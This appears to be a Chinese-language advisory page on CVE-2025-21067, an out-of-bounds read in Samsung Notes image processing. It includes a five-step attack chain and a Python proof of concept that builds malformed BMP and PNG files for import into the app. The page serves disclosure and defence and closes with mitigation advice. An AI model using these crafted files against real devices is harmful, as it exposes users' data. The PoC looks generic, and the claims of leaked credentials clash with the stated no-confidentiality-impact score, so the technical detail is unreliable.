IPBUF安全漏洞报告
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CVE-2025-21067 CVSS 4.0 中危

Samsung Notes图像缓冲区越界读取漏洞(CVE-2025-21067)

披露日期: 2025-10-10

漏洞信息

漏洞编号
CVE-2025-21067
漏洞类型
越界读取(Out-of-Bounds Read)
CVSS评分
4.0 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Samsung Notes(三星笔记应用)

相关标签

越界读取Out-of-Bounds ReadSamsung Notes三星本地攻击图像处理缓冲区溢出CVE-2025-21067Android中危漏洞

漏洞概述

CVE-2025-21067是Samsung Notes(三星笔记)应用程序中存在的一个安全漏洞,属于典型的越界读取(Out-of-Bounds Read)类型漏洞。该漏洞存在于Samsung Notes 4.4.30.63之前的版本中,由三星移动安全团队([email protected])发现并报告,于2025年10月10日正式披露。

根据NVD(National Vulnerability Database)发布的CVSS 3.1评分信息,该漏洞的评分为4.0分,属于中等严重等级。其CVSS向量为CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N,表明该漏洞的攻击向量为本地攻击(AV:L),攻击复杂度低(AC:L),无需特殊权限(PR:N),无需用户交互(UI:N),对机密性无影响(C:N),对完整性有低影响(I:L),对可用性无影响(A:N)。

该漏洞的根本原因在于Samsung Notes在处理图像缓冲区分配时存在逻辑缺陷。当应用程序解析用户导入或嵌入的图像数据时,图像缓冲区的大小计算或分配过程未能正确验证输入参数,导致分配的缓冲区大小与实际需要处理的数据大小不匹配。这种不匹配使得攻击者可以通过构造特殊的图像文件,触发应用程序读取超出分配缓冲区边界的数据。

由于该漏洞为本地攻击向量,攻击者需要已经在目标设备上拥有某种形式的执行权限。该漏洞可被本地攻击者利用以访问越界内存内容,可能导致敏感信息泄露或为后续攻击(如权限提升、代码执行等)提供基础。值得注意的是,虽然该漏洞单独利用的影响有限(仅影响完整性),但作为攻击链中的一个环节,其潜在危害不容忽视。

Samsung作为全球领先的移动设备制造商,其预装的Samsung Notes应用是用户日常使用频率较高的应用程序之一。该漏洞的存在可能影响数亿三星设备用户的数据安全。三星已通过安全更新修复了此漏洞,建议用户及时更新应用至最新版本。

技术细节

该漏洞的技术原理涉及Samsung Notes应用中图像缓冲区分配逻辑的安全缺陷。具体而言,当应用程序处理用户提供的图像文件(如插入图片到笔记中)时,图像解码或渲染模块在分配用于存储图像像素数据的缓冲区时,未能正确验证或计算所需的缓冲区大小。

从技术层面分析,漏洞触发过程如下:

1. 攻击者构造一个精心设计的恶意图像文件,该文件的图像头部信息(如宽度、高度、位深度、颜色格式等元数据)与实际像素数据的大小不匹配。

2. 攻击者通过Samsung Notes的图像导入功能将该恶意图像加载到笔记中。当应用程序解析该图像时,图像处理模块根据头部元数据计算并分配缓冲区。

3. 由于缓冲区分配逻辑存在缺陷,分配的缓冲区大小可能小于实际需要处理的数据量。当应用程序尝试读取图像数据时,读取操作将超出分配的缓冲区边界,从而触发越界读取。

4. 越界读取可能导致应用程序读取到相邻内存区域的内容,这些内容可能包含敏感信息(如其他笔记内容、用户凭据、加密密钥等)或导致应用程序崩溃。

该漏洞的攻击前提是攻击者需要能够将恶意图像文件投递到目标设备上。由于攻击向量为本地(AV:L),攻击者需要物理接触设备或已通过其他方式在设备上获得执行权限。漏洞利用复杂度较低(AC:L),无需特殊权限(PR:N),也无需用户交互(UI:N),因此一旦攻击者能够在设备上执行代码,利用该漏洞相对容易。

攻击链分析

STEP 1
步骤1:获取目标设备访问权限
由于该漏洞的攻击向量为本地(AV:L),攻击者首先需要获取目标三星设备的物理访问权限,或通过其他攻击手段在设备上获得代码执行能力(如恶意应用、社会工程学等)。
STEP 2
步骤2:构造恶意图像文件
攻击者利用图像处理工具或脚本,构造一个精心设计的恶意图像文件(BMP、PNG等格式)。该文件的元数据(宽度、高度、位深度等)与实际像素数据大小不匹配,以触发缓冲区分配时的越界读取。
STEP 3
步骤3:将恶意图像投递至目标设备
攻击者通过USB传输、邮件附件、云存储共享、即时通讯工具等方式,将恶意图像文件传输到目标三星设备上,并确保Samsung Notes应用能够访问该文件。
STEP 4
步骤4:触发漏洞利用
攻击者在Samsung Notes应用中打开包含恶意图像的笔记,或将恶意图像导入到新笔记中。当应用程序解析该图像时,图像缓冲区分配逻辑的缺陷被触发,导致越界读取操作。
STEP 5
步骤5:信息泄露或权限提升
越界读取成功后,攻击者可以获取相邻内存区域的内容,可能包含敏感信息(笔记内容、凭据等)。这些信息可作为后续攻击的基础,实现权限提升或进一步的数据窃取。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-21067 PoC - Samsung Notes OOB Read via Malicious Image # Vulnerability: Out-of-bounds read in image buffer allocation # Target: Samsung Notes < 4.4.30.63 import struct import zlib def create_malicious_bmp(filename="malicious_image.bmp"): """ Create a crafted BMP image with mismatched header metadata to trigger OOB read in Samsung Notes image buffer allocation. The image header claims a larger size than actual pixel data, causing buffer over-read during image processing. """ # BMP Header (14 bytes) # File header with manipulated size width = 4096 # Large width to trigger larger buffer allocation height = 4096 # Large height bpp = 32 # Bits per pixel row_size = ((width * bpp + 31) // 32) * 4 # Row size with padding pixel_data_size = row_size * height # Expected pixel data size # Intentionally provide much less actual pixel data than header claims actual_data_size = 256 # Only provide minimal data file_size = 54 + actual_data_size # BMP header + DIB header + small data # BMP File Header bmp_header = struct.pack('<2sIHHI', b'BM', # Magic number file_size, # File size (mismatched with actual content) 0, # Reserved1 0, # Reserved2 54 # Pixel data offset ) # DIB Header (BITMAPINFOHEADER - 40 bytes) dib_header = struct.pack('<IiiHHIIiiII', 40, # DIB header size width, # Width (claims 4096 pixels) height, # Height (claims 4096 pixels) 1, # Color planes bpp, # Bits per pixel 0, # Compression (BI_RGB) pixel_data_size, # Image size (claims full buffer needed) 2835, # X pixels per meter 2835, # Y pixels per meter 0, # Colors in color table 0 # Important color count ) # Minimal actual pixel data (triggers OOB read) pixel_data = b'\x41' * actual_data_size with open(filename, 'wb') as f: f.write(bmp_header) f.write(dib_header) f.write(pixel_data) print(f"[*] Created malicious image: {filename}") print(f"[*] Header claims: {width}x{height} ({pixel_data_size} bytes)") print(f"[*] Actual data: {actual_data_size} bytes") print(f"[*] Mismatch will trigger OOB read in Samsung Notes") def create_malicious_png(filename="malicious_image.png"): """ Alternative: Create a crafted PNG with manipulated IHDR chunk to trigger OOB read during image buffer allocation. """ # PNG signature png_sig = b'\x89PNG\r\n\x1a\n' # IHDR chunk with manipulated dimensions width = 8192 height = 8192 bit_depth = 8 color_type = 2 # RGB ihdr_data = struct.pack('>IIBBBBB', width, height, bit_depth, color_type, 0, 0, 0) ihdr_crc = zlib.crc32(b'IHDR' + ihdr_data) & 0xffffffff ihdr_chunk = struct.pack('>I', 13) + b'IHDR' + ihdr_data + struct.pack('>I', ihdr_crc) # Minimal IDAT (truncated image data) raw_data = b'\x00' * 64 # Minimal compressed data compressed = zlib.compress(raw_data) idat_crc = zlib.crc32(b'IDAT' + compressed) & 0xffffffff idat_chunk = struct.pack('>I', len(compressed)) + b'IDAT' + compressed + struct.pack('>I', idat_crc) # IEND chunk iend_crc = zlib.crc32(b'IEND') & 0xffffffff iend_chunk = struct.pack('>I', 0) + b'IEND' + struct.pack('>I', iend_crc) with open(filename, 'wb') as f: f.write(png_sig) f.write(ihdr_chunk) f.write(idat_chunk) f.write(iend_chunk) print(f"[*] Created malicious PNG: {filename}") print(f"[*] Header claims: {width}x{height}") print(f"[*] Truncated data will trigger OOB read") if __name__ == "__main__": print("=" * 60) print("CVE-2025-21067 PoC Generator") print("Samsung Notes Image Buffer OOB Read") print("=" * 60) create_malicious_bmp() print() create_malicious_png() print() print("[+] Usage: Import the generated image into Samsung Notes") print("[+] The application will trigger OOB read during processing")

影响范围

Samsung Notes < 4.4.30.63

防御指南

临时缓解措施
在无法立即更新应用版本的临时情况下,建议采取以下缓解措施:1)避免在Samsung Notes中打开来源不明的图像文件,特别是通过非官方渠道获取的图像;2)限制Samsung Notes对外部存储的访问权限,减少恶意图像被加载的可能性;3)使用Samsung Knox等安全功能监控应用的异常行为;4)定期备份重要笔记数据,以便在发生安全事件时能够恢复;5)关注三星官方安全更新公告,一旦修复版本发布,立即升级至Samsung Notes 4.4.30.63或更高版本。

参考链接

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